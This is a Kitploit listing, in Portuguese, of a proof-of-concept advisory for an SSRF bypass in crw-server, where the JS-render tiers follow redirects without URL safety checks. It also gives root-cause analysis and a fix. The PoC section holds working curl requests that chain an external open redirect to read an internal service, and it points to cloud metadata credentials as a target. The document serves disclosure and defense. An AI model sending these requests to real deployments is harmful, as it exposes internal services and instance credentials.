Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/squeeze440/crw-poc
Análise de VulnerabilidadesExploraçãoSegurança WebTestes de Penetração
GitHubsqueeze440/crw-poc

crw-PoC

PoC — SSRF via bypass da camada de renderização JS do filtro de segurança de URL no crw (GHSA-5jp3-339h-vxqw, CVE-2026-87007, CVSS 7.5).

Ver Repositório
há 7 diasAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

crw: aviso de segurança

Status do CVE: solicitado, aguardando atribuição. Esta descoberta é publicada como GHSA-5jp3-339h-vxqw. Após a atribuição do CVE, este repositório é renomeado CVE-YYYY-NNNNN-crw-PoC e este banner é substituído pelo link do CVE.

PesquisadorDostxodjayev Abdullox (@squeeze440)
AvisoGHSA-5jp3-339h-vxqw
CVSS 3.17.5 (Alto)
FraquezaCWE-918

Resumo

Em crw-server, a lista de permissão/negação de SSRF (crw_core::url_safety) é aplicada apenas uma vez, contra a url fornecida pelo chamador, antes que a requisição seja despachada para um renderizador; as camadas de renderização de JS orientadas por CDP (LightPanda — o renderizador JS padrão — e Chrome) então conduzem a página de destino via Page.navigate e seguem cada redirecionamento subsequente, navegação acionada por JS e XHR/fetch na página inteiramente dentro da própria pilha de rede do navegador, sem nenhuma chamada adicional a url_safety em momento algum, permitindo que um chamador autenticado (ou, em uma implantação padrão sem chave, não autenticado) que defina renderJs:true faça o crawler pivotar para o espaço de endereços RFC1918/loopback/link-local por meio de um único redirecionamento aberto externo e leia de volta a resposta do serviço interno no corpo da resposta da API.

Produto

fastCRW / crw — crw-server (API REST, também acessível de forma idêntica através da camada de ferramenta MCP em processo crw-mcp, que chama o mesmo caminho de código crw_server::routes::mcp::call_tool).

Versão Testada

Commit 9f1e5ea5555bbf29cd41e454902be0cd804a15e4 (v0.28.0, ponta de main no momento do teste), compilado e executado via o próprio docker-compose.yml --profile heavy do projeto.

CVSS v3.1 Estimado

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N — 7.5 (Alto)

  • PR:N: o padrão de auto-hospedagem fornecido (config.docker.toml) não possui seção [auth]/api_keys, correspondendo ao padrão "aberto por design" já documentado em GHSA-qq8c-fch4-cxq7. Uma implantação que de fato configura chaves de API rebaixa isso para PR:L (qualquer locatário autenticado individual ainda pode pivotar o mecanismo compartilhado para qualquer rede interna em que ele seja executado) — o bug não é mitigado pela adição de chaves, apenas recondicionado.
  • I:N/A:N: o PoC demonstra a leitura de volta de uma resposta HTTP interna (confidencialidade). Nenhuma ação de escrita/alteração de estado contra um alvo interno foi exercida ou é alegada.
  • S:U: a divulgação é mediada inteiramente através do próprio canal de resposta da API do componente vulnerável.

Detalhes

Causa raiz: o caminho do renderizador CDP/navegador nunca chama crw_core::url_safety após a única verificação feita na camada de rota.

  • crates/crw-server/src/routes/scrape.rs:29-34 (identicamente em crawl.rs:47/136, map.rs:73/58, extract.rs:178/95, batch.rs:111/102, v2/*, routes/mcp.rs:25) — a única verificação de SSRF em todo o ciclo de vida da requisição para uma requisição renderizada por JS: crw_core::url_safety::validate_safe_url_resolved(&parsed_url) é executada uma vez contra a url literal do chamador, antes que o renderizador seja invocado.
  • crates/crw-renderer/src/cdp.rs:2621-2631 — o futuro work de fetch_inner envia Page.navigate com a url bruta diretamente para o endpoint CDP (compartilhado tanto pela camada chrome quanto pela lightpanda — ambas falam CDP através desta mesma função). Chrome/LightPanda então realiza sua própria resolução DNS e segue qualquer redirecionamento do lado do servidor, <meta http-equiv="refresh"> ou mudança de location via JS internamente. Nenhuma chamada a url_safety existe em qualquer lugar de cdp.rs.
  • crates/crw-renderer/src/blocklist.rs:1-124 — a única lógica de interceptação Fetch.requestPaused por requisição que é executada durante uma renderização CDP (conectada em cdp.rs por volta das linhas 930-1002). Ela filtra hosts de anúncios/rastreadores e tipos de recursos bloqueados (imagens, fontes, etc.) apenas por razões de largura de banda/ruído — nunca verifica o destino de uma requisição contra faixas privadas/loopback/link-local.
  • crates/crw-crawl/src/single.rs:559-569 — o único lugar onde o final_url pós-navegação é inspecionado. redirect_is_material() apenas decide se deve anexar uma string cosmética "redirected_to: <url>" a data.warnings (para sinalizar "você obteve a página errada", conforme o comentário que faz referência a northernair.ca) — nunca chama url_safety::validate_safe_url* e nunca falha a requisição.
  • Contraste: crates/crw-renderer/src/http_only.rs:291 — a camada HTTP simples (não-JS) envolve corretamente seu reqwest::Client em crw_core::url_safety::safe_redirect_policy(), que revalida (com resolução DNS) cada salto de redirecionamento. Esta é exatamente a proteção ausente nas camadas CDP. Confirmado dinamicamente: a mesma requisição PoC com renderJs:false é corretamente rejeitada ("error following redirect", veja a captura de tela de linha de base).

Prova de Conceito

Confirmado dinamicamente contra a própria pilha docker-compose.yml --profile heavy do projeto (crw + lightpanda + chrome, compilada a partir do commit testado).

  1. Levantou-se um substituto de "serviço interno" na mesma rede bridge do Docker que crw/chrome/lightpanda (docker network: source_default), no endereço privado 172.19.0.6 — um contêiner nginx simples servindo uma página com conteúdo realista de aparência interna (título "Internal Ops Console", um valor com formato de token de sessão).
  2. Linha de base — confirmar que o filtro funciona normalmente:
    root@kitploit:~
    curl -s -X POST http://127.0.0.1:3000/v1/scrape -H "Content-Type: application/json" \
      -d '{"url":"http://172.19.0.6/","renderJs":false}'
    → {"success":false,"error":"Invalid request: Access to 172.19.0.6 is not allowed", ...}
    
    curl -s -X POST http://127.0.0.1:3000/v1/scrape -H "Content-Type: application/json" \
      -d '{"url":"https://httpbin.org/redirect-to?url=http://172.19.0.6/&status_code=302","renderJs":false}'
    → {"success":false,"error":"HTTP request failed: error following redirect ...", ...}
    
    (captura de tela: evidence/ssrf_baseline_blocked.png)
  3. Bypass — mesmo redirecionamento, camada de renderização JS solicitada:
    root@kitploit:~
    curl -s -X POST http://127.0.0.1:3000/v1/scrape -H "Content-Type: application/json" \
      -d '{"url":"https://httpbin.org/redirect-to?url=http://172.19.0.6/&status_code=302","renderJs":true,"renderer":"chrome","formats":["markdown"]}'
    
    Resultado: HTTP 200, "success":true, "data":{"markdown":"# Internal Ops Console\n\n# internal-ops.crw-lab.local\n\nNode role: primary\n\nBuild: 2026.08.02-rc3\n\nSession token: 8f3d1c9a7e2b4460b9e5d6a1c0f7e3d2", ..., "warnings":["redirected_to: http://172.19.0.6/"], "renderDecision":{"kind":"userPinned","renderer":"chrome"}} — o conteúdo do servidor interno é retornado ao chamador; o próprio aviso redirected_to da ferramenta mostra que ela sabe que seguiu a requisição para o endereço bloqueado e retorna o conteúdo mesmo assim. (captura de tela: evidence/ssrf_chrome_tier_bypass.png)
  4. Confirmou-se que o bypass também dispara na cadeia de fallback padrão sem fixação explícita de renderizador ("renderJs":true sozinho — a maneira comum pela qual um chamador solicita renderização JS): a escada escolheu lightpanda ("renderDecision":{"kind":"autoDefault","chosen":"lightpanda"}, "renderedWith":"lightpanda") e retornou o mesmo conteúdo interno, provando que ambas as camadas CDP (não apenas chrome) compartilham a lacuna.

https://httpbin.org/redirect-to representa "qualquer URL externamente acessível que retorne 302"; um atacante real hospedaria isso em seu próprio domínio. 172.19.0.6 representa qualquer endereço nas faixas que url_safety foi projetado para bloquear (RFC1918, loopback, link-local/169.254.169.254 de metadados de nuvem, .internal) — o bypass ocorre antes que qualquer verificação de faixa seja executada (o caminho CDP nunca chama url_safety de forma alguma), portanto não é específico a esta única faixa bloqueada. Um endpoint de metadados de nuvem ativo não estava disponível neste laboratório local, então esse alvo específico não foi diretamente exercido; é uma extrapolação direta, rastreada no código, não uma alegação não testada.

Impacto

Qualquer chamador capaz de alcançar /v1/scrape, /v2/scrape, /v1/crawl, /v1/map, /v1/extract, seus equivalentes batch/v2, ou as ferramentas MCP equivalentes — com renderJs:true — pode usar a implantação alvo do crw como um proxy aberto de rede interna: ler respostas dos serviços de loopback do implantador, serviços internos endereçados em RFC1918 (bancos de dados, painéis de administração, APIs internas) e — em qualquer implantação hospedada na nuvem — o endpoint de metadados de nuvem da instância (169.254.169.254), potencialmente recuperando credenciais IAM/da instância. No padrão de auto-hospedagem fornecido (sem chaves de API configuradas), isso não requer autenticação alguma.

Fraquezas

  • CWE-918: Server-Side Request Forgery (SSRF)
  • CWE-441: Unintended Proxy or Intermediary ('Confused Deputy')

Remediação

A bomba de interceptação Fetch.requestPaused já conectada às camadas CDP (crates/crw-renderer/src/cdp.rs, acionada por Blocklist em blocklist.rs) é o ponto de estrangulamento natural: estendê-la (ou adicionar uma verificação irmã invocada a partir da mesma bomba, para ambos os backends chrome e lightpanda) para chamar crw_core::url_safety::validate_safe_url contra a URL de cada requisição interceptada — cobrindo a navegação inicial, cada salto de redirecionamento, cada navegação acionada por JS e cada carregamento de XHR/fetch/iframe na mesma página — e Fetch.failRequest para qualquer coisa que resolva para um host bloqueado, correspondendo ao que safe_redirect_policy() já faz para a camada http_only. Observe que isso significa que Fetch.enable/interceptação não pode mais permanecer condicionalmente desativado quando a proteção contra SSRF depende de sua execução. Como defesa em profundidade, também transforme a verificação existente de final_url pós-navegação em crates/crw-crawl/src/single.rs:559-569 de uma entrada cosmética em warnings para uma falha rígida via url_safety::validate_safe_url_resolved, para capturar o que escapar da interceptação (por exemplo, uma primeiríssima resposta correndo com a configuração de Fetch.enable).

Crédito

Dostxodjayev Abdullox

Canal de Relato

.github/SECURITY.md (renderizado em https://github.com/us/crw/security): o GitHub Private Vulnerability Reporting é o canal preferido ("abra um relato na aba Security deste repositório"), com [email protected] como alternativa por e-mail. Confirmado genuinamente ativo e aberto para este repositório: gh api repos/us/crw/private-vulnerability-reporting --jq .enabled → true, e um botão "Report a vulnerability" ativo foi observado em https://github.com/us/crw/security (apontando para https://github.com/us/crw/security/advisories/new). A declaração de escopo nessa página inclui explicitamente "O binário crw-server e todos os crates do workspace neste repositório" e "O servidor MCP (crw-mcp)"; ela exclui "Navegadores headless de terceiros (Chromium, Lightpanda) invocados pelo renderizador" — esta descoberta é sobre a própria validação ausente do crw em torno da chamada de navegação CDP, não um bug no próprio Chromium/Lightpanda, portanto está dentro do escopo.

Baixar ferramenta